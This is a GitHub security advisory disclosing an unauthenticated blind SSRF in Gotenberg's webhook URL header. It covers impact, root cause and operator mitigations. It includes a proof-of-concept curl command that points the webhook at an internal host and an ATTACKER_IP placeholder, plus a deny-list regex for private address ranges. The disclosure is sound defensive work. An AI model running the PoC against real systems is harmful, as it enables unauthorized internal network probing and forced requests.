Skip to content

Gotenberg Vulnerable to Unauthenticated SSRF via Unfiltered Webhook URL

High severity GitHub Reviewed Published Apr 30, 2026 in gotenberg/gotenberg • Updated Apr 30, 2026

Package

github.com/gotenberg/gotenberg/v8 (Go)

Affected versions

>= 8.29.1, < 8.31.0

Patched versions

8.31.0

Description

CVE Report — Unauthenticated SSRF via Unfiltered Webhook URL in Gotenberg

Severity

Field Value
CVSS v3.1 8.6 High
Vector AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
CWE CWE-918 — Server-Side Request Forgery
Auth None

Affected: Gotenberg 8.29.1 — default gotenberg/gotenberg:8 Docker image.


Impact

An unauthenticated attacker with network access to Gotenberg can force it to make outbound HTTP POST requests to any internal or external destination by supplying an arbitrary URL in the Gotenberg-Webhook-Url request header.

This is a blind SSRF. Gotenberg POSTs the converted document to the webhook URL and checks only whether the response status code is an error (>= 400). The response body from the SSRF target is never forwarded to the attacker. The Gotenberg-Webhook-Error-Url header — if supplied — receives the original converted PDF when the webhook POST fails, not the target's response body.

The practical impact is therefore:

  • Internal network probing: if the error URL is NOT called, the target returned 2xx → host and port are open and accepting POST requests. If the error URL IS called, the target returned 4xx/5xx or timed out → port closed or service rejected the request. This allows mapping internal infrastructure one request at a time.
  • Forced POST to internal services: any internal service that performs a side effect on POST (triggering a webhook, writing state, executing a job) can be abused without reading its response.
  • Cloud metadata interaction: Gotenberg can be forced to POST to http://169.254.169.254/ — confirming reachability and probing available paths — but cannot read the credential response body through this channel alone.

The retryable client issues up to 4 automatic retries per request, meaning one attacker request generates up to 4 probes against the internal target.


Proof of Concept

# Minimal SSRF trigger — replace ATTACKER_IP with your listener & INTERNAL_IP with the target.
curl -s -o /dev/null -w "HTTP:%{http_code}" \
  -X POST 'http://TARGET:3000/forms/chromium/convert/url' \
  -H 'Gotenberg-Webhook-Url: http://INTERNAL_IP:9999/capture' \
  -H 'Gotenberg-Webhook-Error-Url: http://ATTACKER_IP:9999/error' \
  -F 'url=https://example.com'

Root Cause

FilterDeadline in filter.go is the intended URL gating function but its contract fails open: when both the allow and deny lists are empty (the default), it returns nil unconditionally, allowing any URL through.

func FilterDeadline(allowed, denied []*regexp2.Regexp, s string, deadline time.Time) error {
    if len(allowed) > 0 { ... }  // skipped — empty by default
    if len(denied) > 0  { ... }  // skipped — empty by default
    return nil                    // any URL passes
}

The unvalidated URL is then stored verbatim and used as the destination for an outbound retryablehttp request in client.go:62.


Recommendations

Gotenberg maintainers: Invert the default — deny all webhook URLs unless an explicit allowlist is configured, or ship a built-in denylist covering RFC-1918 and link-local ranges.

Operators (immediate):

# Restrict to your own receiver
--env GOTENBERG_API_WEBHOOK_ALLOW_LIST="https://my-receiver\.example\.com/.*"
# Or block internal ranges
--env GOTENBERG_API_WEBHOOK_DENY_LIST="^https?://(169\.254\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)"

Attribution

This is a Gotenberg-only issue. No third-party library is at fault. The root cause is an insecure default in FilterDeadline where an unconfigured state means "allow all" rather than "deny all".


Timeline

Date Event
2026-04-04 Vulnerability discovered
2026-04-05 SSRF confirmed — outbound POST captured at local listener
2026-04-05 Report drafted for disclosure

References

@gulien gulien published to gotenberg/gotenberg Apr 30, 2026
Published to the GitHub Advisory Database Apr 30, 2026
Reviewed Apr 30, 2026
Last updated Apr 30, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

EPSS score

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2026-39383

GHSA ID

GHSA-5vh4-rgv7-p9g4

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.